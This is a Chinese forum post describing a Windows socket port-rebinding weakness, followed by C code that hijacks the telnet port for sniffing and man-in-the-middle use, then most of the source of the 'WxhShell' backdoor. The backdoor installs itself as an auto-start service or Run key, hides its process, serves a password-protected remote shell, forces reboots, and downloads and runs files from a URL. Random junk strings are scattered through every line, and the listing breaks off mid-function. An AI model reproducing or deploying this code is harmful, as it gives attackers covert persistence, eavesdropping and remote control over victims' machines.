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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: [AzN&yACE  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); %4Zy1{yKs_  
jf/9]`Hf  
  saddr.sin_family = AF_INET; k#) .E X  
$IT9@}*{  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); wcf_5T  
ACYn87tq  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); rfi`Bp  
FO=1P7  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 uCfp+  
;/T-rVND  
  这意味着什么?意味着可以进行如下的攻击: j2M(W/_  
rtx]dc1m  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Oha g%<1#  
#Vigu,zY  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) hFfaaB  
! VZj!\I  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 p ri{vveN@  
=3C)sz}  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  V^+:U>$w  
'e64%t  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 oLMi vy4  
CWQ2iu<_0  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 lh_zZ!)g  
I7^X;Q F  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 34Khg  
+yH~G9u(  
  #include V9_HC f  
  #include c.Z4f 7  
  #include S\;.nAR  
  #include    \=_q{  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ^(*O$N*#  
  int main() H;|:r[d!  
  { |uBC0f  
  WORD wVersionRequested; a&"*UJk<?  
  DWORD ret; X$iJ|=vW  
  WSADATA wsaData; Wb )l8[=  
  BOOL val; ;w(1Ydo  
  SOCKADDR_IN saddr; S)@vl^3ec  
  SOCKADDR_IN scaddr; >o#wP  
  int err; 'a^tL[rLP1  
  SOCKET s; >wO$Vu `t  
  SOCKET sc; ]G PJ(+5  
  int caddsize; _i@eOqoC  
  HANDLE mt; B~z g"  
  DWORD tid;   .<^Y E%  
  wVersionRequested = MAKEWORD( 2, 2 ); /'fDXSdP  
  err = WSAStartup( wVersionRequested, &wsaData ); {WeXURp&nF  
  if ( err != 0 ) { @[lc0_ b  
  printf("error!WSAStartup failed!\n"); 7O{O')o!  
  return -1; AWXpA1(  
  } ?lN8~Ze  
  saddr.sin_family = AF_INET; xcvr D  
   '#PqI)P  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 "IS^a jaq  
jZT :-w  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); u7P+^A97L_  
  saddr.sin_port = htons(23); cN lY=L  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) M03i4R@h(  
  { S5u#g`I]  
  printf("error!socket failed!\n"); poYAiq_3T  
  return -1; `{lAhZ5  
  } Guw|00w,Q$  
  val = TRUE; OrEuQ-,i@  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 k5;Vl0Ho  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) q,+kPhHEgy  
  { t`YZ)>Ws  
  printf("error!setsockopt failed!\n"); TTZxkK  
  return -1; F*JvpI[7n  
  } )(Mr f{  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; )QCM2  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 &_/%2qs  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 6mpg&'>  
oXlxPN39  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) _ c ]3nzIr  
  { fCf#zV[  
  ret=GetLastError(); K}E7|gdG  
  printf("error!bind failed!\n"); h<' 5q&y  
  return -1; Oqpl2Y"/  
  } -jtC>_/  
  listen(s,2); 14n="-9  
  while(1) -N8cjr4l  
  { O< tnM<"(  
  caddsize = sizeof(scaddr); }i7U}T  
  //接受连接请求 Gk"L%Zt)  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); v<3o[mq  
  if(sc!=INVALID_SOCKET) UcLNMn|  
  { VMZ]n%XRXW  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ]ZKt1@4AY  
  if(mt==NULL) o47 f  
  { ^Z>B/aJq  
  printf("Thread Creat Failed!\n"); }{wTlR.]  
  break; ]8m_*I!  
  } YP#AB]2\}  
  } O(D5A?tv!  
  CloseHandle(mt); mk%"G=w  
  } B(\r+"PB  
  closesocket(s); H8-D'q>R  
  WSACleanup(); &xBK\  
  return 0; Fb|e]?w  
  }   :x""E5H  
  DWORD WINAPI ClientThread(LPVOID lpParam) &H4uvJ_<  
  { ?)mhJ/IT  
  SOCKET ss = (SOCKET)lpParam; _@/C~  
  SOCKET sc; :\+{;;a@  
  unsigned char buf[4096]; O/Y\ps3r  
  SOCKADDR_IN saddr; C?60`^  
  long num; X(y  
  DWORD val; YF! &*6m  
  DWORD ret; =qp}p'BYe  
  //如果是隐藏端口应用的话,可以在此处加一些判断 lQdnL.w$.4  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   :Dk@?o@2;C  
  saddr.sin_family = AF_INET; r!.+XrYg  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); E +Ujpd  
  saddr.sin_port = htons(23); OS"{"P  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ^s2m\Q(  
  { 6i]Nr@1C  
  printf("error!socket failed!\n"); Z[k#AgC)  
  return -1; [EmOA.6  
  } j(%gMVu  
  val = 100; S?Bc~y  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) lP@)   
  { (~ ]g,*+  
  ret = GetLastError(); xA&  
  return -1; pG!(6V-x<E  
  } Z\|u9DO  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) h eE'S/  
  { WjY{rM,K  
  ret = GetLastError(); [Y22Wi  
  return -1; fwi};)K  
  } i!Dh &XT  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) !_U37Uj<m  
  { i5 L:L  
  printf("error!socket connect failed!\n"); Hz]4AS  
  closesocket(sc); *b Ci2mbm@  
  closesocket(ss); Gpdv]SON{  
  return -1; dNUR)X#e  
  } vXy uEEe  
  while(1) *|LbbRu  
  { E[jXUOu-  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 6.U  "_%  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 )@Zc?Da  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 C#Hcv*D  
  num = recv(ss,buf,4096,0); ~5r=FF6  
  if(num>0) I(OAEIz  
  send(sc,buf,num,0); <H5n>3#pH  
  else if(num==0) aFRTNu/r  
  break; !Tn0M;  
  num = recv(sc,buf,4096,0); qnq%mwDeD  
  if(num>0) "WYA  
  send(ss,buf,num,0); y@o9~?M  
  else if(num==0) <$jKy3@  
  break; ; .ysCF  
  } 6kt]`H`cfJ  
  closesocket(ss); \}$*}gW[}  
  closesocket(sc); i1qS ns  
  return 0 ; Jo{ zy  
  } ~~C6)N~1  
0).fBBNG  
T!l mO?Q  
========================================================== i>Z|6 5  
bKk CW  
下边附上一个代码,,WXhSHELL [1z{T(dh  
SkiJ pMN  
========================================================== 7fTxGm  
1@A7h$1P  
#include "stdafx.h" -|m$YrzG  
#_.g2 Y  
#include <stdio.h> koOyZ>  
#include <string.h> jrm0@K+<IA  
#include <windows.h> H<`^w)?  
#include <winsock2.h> 2X|CuL{]  
#include <winsvc.h> m_Mwg  
#include <urlmon.h> { EA2   
`nT?6gy  
#pragma comment (lib, "Ws2_32.lib") +w "XNl  
#pragma comment (lib, "urlmon.lib") 0TTIaa$  
DpA\r_D  
#define MAX_USER   100 // 最大客户端连接数 "_ LkZBW.  
#define BUF_SOCK   200 // sock buffer 7{n\y l?  
#define KEY_BUFF   255 // 输入 buffer :3*`IB !  
)fNGB]%  
#define REBOOT     0   // 重启 q}>M& *  
#define SHUTDOWN   1   // 关机 3YR* ^  
6#<Ir @z  
#define DEF_PORT   5000 // 监听端口 c}\ ' x5:o  
U? 8i'5)  
#define REG_LEN     16   // 注册表键长度 $"Afy)Ir  
#define SVC_LEN     80   // NT服务名长度 fO*)LPen.z  
" Wp   
// 从dll定义API hIR@^\?  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); qh%i5Mu  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ~6p5H}'H1  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 6 |QTS|!  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); P,(9cyS{  
~\2;i]|  
// wxhshell配置信息 Ll,I-BQ 9  
struct WSCFG { mHKJ  
  int ws_port;         // 监听端口 GF&_~48GD  
  char ws_passstr[REG_LEN]; // 口令 Q}=fVY  
  int ws_autoins;       // 安装标记, 1=yes 0=no F y b[{"  
  char ws_regname[REG_LEN]; // 注册表键名 xXOR IlD  
  char ws_svcname[REG_LEN]; // 服务名 i wUv`>l&  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 rB,ldy,f  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 {`a(Tl8V  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 8Bq-0=E  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 8+9\7*  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" TZe+<~4*i%  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 wY/bA}%  
d$}&nV/A)  
}; sTiYf  
Q*gnAi&.#  
// default Wxhshell configuration oWI!u 5  
struct WSCFG wscfg={DEF_PORT, }@wVW))6$  
    "xuhuanlingzhe", Ddb-@YD&+0  
    1, ?fV?|ZGZI  
    "Wxhshell", {o( * f  
    "Wxhshell", iecWa:('  
            "WxhShell Service", /^Y[*5  
    "Wrsky Windows CmdShell Service", GjEqU;XBi  
    "Please Input Your Password: ",  012Lwd  
  1, 6;gLwOeOHY  
  "http://www.wrsky.com/wxhshell.exe",  m;c3Z-  
  "Wxhshell.exe" 6Z Xu,ks}  
    }; x.ba|:5  
l_6eI  
// 消息定义模块 z?)He)d  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; /N>} 4Ay  
char *msg_ws_prompt="\n\r? for help\n\r#>"; )#a7'Ba  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; }B`Ku5 M  
char *msg_ws_ext="\n\rExit."; *,17x`1e  
char *msg_ws_end="\n\rQuit."; P7Xg{L&@.  
char *msg_ws_boot="\n\rReboot..."; "v5ElYG  
char *msg_ws_poff="\n\rShutdown..."; rS4%$p"  
char *msg_ws_down="\n\rSave to "; !~)90Z!  
syR N4  
char *msg_ws_err="\n\rErr!"; iA9 E^  
char *msg_ws_ok="\n\rOK!"; nWk e#{[  
9:Si] Pp+S  
char ExeFile[MAX_PATH]; e9 *lixh  
int nUser = 0; uxb:^d?D!  
HANDLE handles[MAX_USER]; :5jexz."M  
int OsIsNt; BX*69  
P].eAAXnP  
SERVICE_STATUS       serviceStatus; `kFiH*5%z  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; r_^)1w  
"Kq>#I'%W  
// 函数声明 FI$XSG  
int Install(void); 6lsEGe  
int Uninstall(void); g8RPHjvZ  
int DownloadFile(char *sURL, SOCKET wsh); 3 <9{v  
int Boot(int flag); ~g7m3  
void HideProc(void); KzNm^^#/$A  
int GetOsVer(void); { D+Ym%n  
int Wxhshell(SOCKET wsl); Z|I-BPyn  
void TalkWithClient(void *cs); _%B/!)v  
int CmdShell(SOCKET sock); GWdSSr>  
int StartFromService(void); pM9yOY  
int StartWxhshell(LPSTR lpCmdLine); 2e59Ez%k6  
>La><.z~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); q(Hip<6p  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); O[FZq47  
>I^9:Q  
// 数据结构和表定义 b# u8\H  
SERVICE_TABLE_ENTRY DispatchTable[] = f!x[ln<  
{ m'bi\1Q  
{wscfg.ws_svcname, NTServiceMain}, 5$%XvM  
{NULL, NULL} doR4nRl9  
}; '#q4Bc1  
bY)#v?  
// 自我安装 JRY_ nX  
int Install(void) Zj!Abji=O  
{ Ys3uPs  
  char svExeFile[MAX_PATH]; 35_)3 R)  
  HKEY key; s6n`?,vw  
  strcpy(svExeFile,ExeFile); |@wyC0k!  
@^&7$#jq%  
// 如果是win9x系统,修改注册表设为自启动 mlB~V3M'G  
if(!OsIsNt) { moZm0` WR  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { D"^'.DL@wG  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); e)b%`ntF  
  RegCloseKey(key); gi$XB}L+X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { I]9 C_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \f%.n]>  
  RegCloseKey(key); ^_W40/c3  
  return 0; >g}G}=R~3  
    } 6pp$-uS  
  } S)7/0N79A  
} ix&'0IrX*  
else { lP3h<j  
`*_CElpP"  
// 如果是NT以上系统,安装为系统服务 pRrHuLj^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Z9[+'ZWt  
if (schSCManager!=0) ||Y<f *  
{ ~=cmM  
  SC_HANDLE schService = CreateService S&wzB)#'  
  ( u-:Ic.ZV  
  schSCManager, 'SV7$,mK@  
  wscfg.ws_svcname, 2hq\n<  
  wscfg.ws_svcdisp, cP rwW 6  
  SERVICE_ALL_ACCESS, vFhz!P~  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , e.8$ga{  
  SERVICE_AUTO_START, 7u|B ](FS  
  SERVICE_ERROR_NORMAL, wk @,wOt  
  svExeFile, Y3rt5\!  
  NULL, 9 <\`nm  
  NULL, PVYyE3`UB  
  NULL, WD.U"YI8y  
  NULL, `q_<Im%I  
  NULL !Z|($21W  
  ); qINTCm j  
  if (schService!=0) izuF !9  
  { ,b|-rU\  
  CloseServiceHandle(schService); Ch5+N6c^  
  CloseServiceHandle(schSCManager); :NE/Ddgc'  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); f<=Fe:1.  
  strcat(svExeFile,wscfg.ws_svcname); ^$NJD  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 6R4<J% $P  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 76@qHTh }  
  RegCloseKey(key); Q2QY* A  
  return 0; f~ U.a.Fb  
    } >5ChcefH  
  } , ;jGJr  
  CloseServiceHandle(schSCManager); m3 -9b"  
} *9 D!A  
} N`$!p9r  
q>s`uFRg(  
return 1; ,:GN;sIXg  
} D$q'FZH  
@dEiVF`4:  
// 自我卸载 75NRCXh.  
int Uninstall(void) AK@L32-S  
{ ."6[:MF  
  HKEY key; lr3mE  
d%ME@6K)  
if(!OsIsNt) { nc?B6IV  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { lm0N5(XP  
  RegDeleteValue(key,wscfg.ws_regname); Tv$sqVe9  
  RegCloseKey(key); $[ z y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { wT_h!W  
  RegDeleteValue(key,wscfg.ws_regname); ^3~e/PKM  
  RegCloseKey(key); ]l;*$2w)  
  return 0; 1[PMDS_X  
  } a`c:`v2o  
} z&}-8JykH  
} go'j/4Tp  
else { DBgMC"_   
^jSsa  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); g0R[xOS|  
if (schSCManager!=0) `u_Qa  
{ i.y)mcB4  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); l=={pb  
  if (schService!=0) 3z8C  
  { EL D!{bMT  
  if(DeleteService(schService)!=0) { JAjku6  
  CloseServiceHandle(schService); \ |!\V  
  CloseServiceHandle(schSCManager); K$[$4 dX]  
  return 0; U[\Vj_?(I  
  } z5 m>H;P  
  CloseServiceHandle(schService); >n*\bXf  
  } J/x2qQ$9  
  CloseServiceHandle(schSCManager); N4!<Xj  
} [f{VIE*?%  
} 4. qtp`  
i$^ZTb^  
return 1; fiDl8=~@  
} V5mTu)tp5  
(6gK4__}]  
// 从指定url下载文件 )"<8K}%!  
int DownloadFile(char *sURL, SOCKET wsh) /X*oS&-M  
{ zfI}Q}p  
  HRESULT hr; Acm<-de  
char seps[]= "/"; } cNW^4F  
char *token; ~Y!kB:D5;~  
char *file; MuI2?:~:*4  
char myURL[MAX_PATH]; .*/Fucr  
char myFILE[MAX_PATH]; nk=$B (h  
\2e0|)aF6  
strcpy(myURL,sURL); el PE%'  
  token=strtok(myURL,seps); S: :>N.y  
  while(token!=NULL) G}zZQy  
  { pdVQ*=c?M  
    file=token; Ym8}ZW-  
  token=strtok(NULL,seps); m`A% p  
  } &#w=7L3AW  
E-2 eOT  
GetCurrentDirectory(MAX_PATH,myFILE); @{HrJ/4%:&  
strcat(myFILE, "\\"); aUopNmN  
strcat(myFILE, file); vqdX^m^PY  
  send(wsh,myFILE,strlen(myFILE),0); obH; g*  
send(wsh,"...",3,0); 47>>4_Hz  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); DXR:1w[^  
  if(hr==S_OK) R9o-`Wz  
return 0; 4'>1HW  
else _lxco=qd=%  
return 1; j?i#L}.I  
S?0$?w?  
} l.=p8-/$'7  
,. EBOUW^  
// 系统电源模块 gFN 9jM  
int Boot(int flag) uaPx"  
{ ^TdZ*($5  
  HANDLE hToken; ~N0 sJ%  
  TOKEN_PRIVILEGES tkp; n# 7Pr/*0  
|NFZ(6vNh  
  if(OsIsNt) { Ctu?o+^;z  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); j;~%lg=)  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 0y#Ih {L  
    tkp.PrivilegeCount = 1; nHXX\i  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; \IM4Z|NN"  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); p*3; hGp6  
if(flag==REBOOT) { Sv[5NZn0&  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) &(pjqV  
  return 0; Lxl_"k G  
} HLK@xKD<  
else { _8?o'<!8?^  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) =r. >N\  
  return 0; /F/;G*n  
} S~OhtHwK  
  } ssQ BSbx  
  else { 2\<.0  
if(flag==REBOOT) { p s|)cW3`  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) kGYTl,A{  
  return 0; tln37vq  
} 5]Ajf;W\  
else { @z`@f"l  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) R W/z1  
  return 0; xyh.N)  
} n~IVNB*  
}  >]D4Q<TY  
@* ust>7  
return 1; e /K#>,  
} GIwh@4;  
?\=/$Gt  
// win9x进程隐藏模块 `C E^2  
void HideProc(void) J>vMo@  
{ <'U]`L p  
|UnUG  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); | bv,2uWz  
  if ( hKernel != NULL ) bCv{1]RC2  
  { E2wz(,@  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); n$L51#'  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); @ EuFJ=h  
    FreeLibrary(hKernel); !0VfbY9C  
  } f:JlZ&  
p<Z3tD;Z  
return; )u:Q) %$t  
} KFRw67^  
(]2H7X:b  
// 获取操作系统版本 PXKJ^fa  
int GetOsVer(void) <cN~jv-w$  
{ m:QG}{<.h  
  OSVERSIONINFO winfo; B^ 7eoW  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); r),PtI0X  
  GetVersionEx(&winfo); sN=6gCau  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) >p\e 0n  
  return 1; )(M7lq.e7  
  else &]6) LFm  
  return 0; gxNL_(A  
} <=K qc Hb  
6 ,ANNj  
// 客户端句柄模块 6aft$A}XnD  
int Wxhshell(SOCKET wsl) _o3e]{  
{ &?,U_)x/  
  SOCKET wsh;  (t^n'V  
  struct sockaddr_in client; ~:4kU/]  
  DWORD myID; -NGK@Yk22  
N3BL3:@O  
  while(nUser<MAX_USER) uYI@ 9U  
{ y^>Q/H\  
  int nSize=sizeof(client); fT\:V5-  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); )=pD%$iq  
  if(wsh==INVALID_SOCKET) return 1; } l 667N  
zt24qTKL  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); k3!a$0Bs;  
if(handles[nUser]==0) /a9 !Cf  
  closesocket(wsh); 1Nn@L2b 2  
else Yf_6PGNzX  
  nUser++; ='?:z2lJ  
  } q6#<[ 4?  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); R6;Phdh<>  
b,H[I!. %  
  return 0; ;zTuKex~  
} ={2!c0s  
nwI3|&  
// 关闭 socket e0,'+;*=g  
void CloseIt(SOCKET wsh) h+~P"i}&\  
{ K-vWa2  
closesocket(wsh); H;ZHqcUX  
nUser--; 7u.|XmUz  
ExitThread(0); 66&EBX}  
} >zvY\{WY  
M+>`sj  
// 客户端请求句柄 Oft arD  
void TalkWithClient(void *cs) Y&bM CI6U  
{ 6(&Y(/  
.\Fss(Zn  
  SOCKET wsh=(SOCKET)cs; U%B(5cC  
  char pwd[SVC_LEN]; b}!3;:iD  
  char cmd[KEY_BUFF]; Z [Xa%~5>5  
char chr[1]; `NRH9l>B7  
int i,j; ` m@U!X  
: 9!%ZD  
  while (nUser < MAX_USER) { "bQ[CD  
FjfN3#qlg  
if(wscfg.ws_passstr) { 9W7#u}Z  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); j|fd-<ng  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); le)DgIT>=  
  //ZeroMemory(pwd,KEY_BUFF); 8ip7^  
      i=0; .Ce8L&cU  
  while(i<SVC_LEN) { nt1CTWKM8^  
 v9RW5  
  // 设置超时 *V^ #ga#A  
  fd_set FdRead; is; XmF*5=  
  struct timeval TimeOut; O>y'Nqz  
  FD_ZERO(&FdRead); MhEw _{?  
  FD_SET(wsh,&FdRead); m4w ') r~  
  TimeOut.tv_sec=8; )emOKS  
  TimeOut.tv_usec=0; o5o^TW{  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ~,6b_W p/  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 5AeQQU  
sd re#@n}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \t4tiCw  
  pwd=chr[0]; Z,7R;,qX  
  if(chr[0]==0xd || chr[0]==0xa) { H[Q_hY[>V  
  pwd=0; kYwb -;  
  break; 1$lh"fHU  
  } 1nhtM  
  i++; 5~ 'Ie<Y_  
    } *ZSdl 0e  
:\~+#/=:  
  // 如果是非法用户,关闭 socket ~i;fDQ&!  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); zdun,`6  
} 9%)=`W  
O09ke-lC  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 9.O8/0w7LV  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); k,Qsk d-N]  
:c[n\)U[aa  
while(1) { ks;% *d  
`\Ku]6J]5  
  ZeroMemory(cmd,KEY_BUFF); .ae O}^  
&O\(;mFc  
      // 自动支持客户端 telnet标准   XEM'}+d  
  j=0; vH %gdpxX  
  while(j<KEY_BUFF) { q~K(]Ya/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @JkK99\(>9  
  cmd[j]=chr[0]; qF)< H  
  if(chr[0]==0xa || chr[0]==0xd) { 7Du1RuxP  
  cmd[j]=0; nxm$}!Df  
  break; R5_i15<  
  } 8[%Ao/m  
  j++; qa >Ay|92e  
    } Mn:/1eY  
7cg*|E@  
  // 下载文件 -ZOBAG*  
  if(strstr(cmd,"http://")) { d^ ZMS~\*  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); H&}ipaDO  
  if(DownloadFile(cmd,wsh)) ^t "iX9  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); #<7O08 :  
  else o`,Qku k  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n}-3o]ku  
  } 7B9`<{!h  
  else { n_D8JF  
&Bb<4R  
    switch(cmd[0]) { @+,pN6}g  
  L];y}]:F*  
  // 帮助 'WyTI^K9  
  case '?': { ?wpB`  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ^,Ydr~|T  
    break; <oMUQ*OtV  
  } }1 vT)  
  // 安装 _1Z=q.sC  
  case 'i': { lt'I,Xt  
    if(Install()) Eu<1Bse;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >"3>s%  
    else #S g\q8(O  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L?&'xzt B  
    break; ni&*E~a  
    } 6X g]/FD  
  // 卸载 }*U[>Z-eO  
  case 'r': { {[Q0qi =  
    if(Uninstall()) @{ ;XZb^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :B *}^g  
    else uUR~&8ERX  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^ ?hA@{T/1  
    break; %%%fL;-y  
    } uv{P,]lK  
  // 显示 wxhshell 所在路径 Jc4L5*Xn/  
  case 'p': { {y kYW%3s  
    char svExeFile[MAX_PATH]; XV>JD/K2  
    strcpy(svExeFile,"\n\r"); YOyX[&oi  
      strcat(svExeFile,ExeFile); l?E a#  
        send(wsh,svExeFile,strlen(svExeFile),0); SJ' % ^  
    break; 7[v%GoE  
    } +m\|e{G  
  // 重启 {2'm^0Kl  
  case 'b': { Jhkvd<L8`m  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);  Fnx`Ri  
    if(Boot(REBOOT)) J<j&;:IRd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dpZ;l 9  
    else { Doze8pn  
    closesocket(wsh); /Wk9-uH  
    ExitThread(0); )w~Fo,   
    } p 5u_1U0  
    break; BF|(!8S$U  
    } V) o,1  
  // 关机 ;a"q'5+Ne  
  case 'd': { Nw J:!  
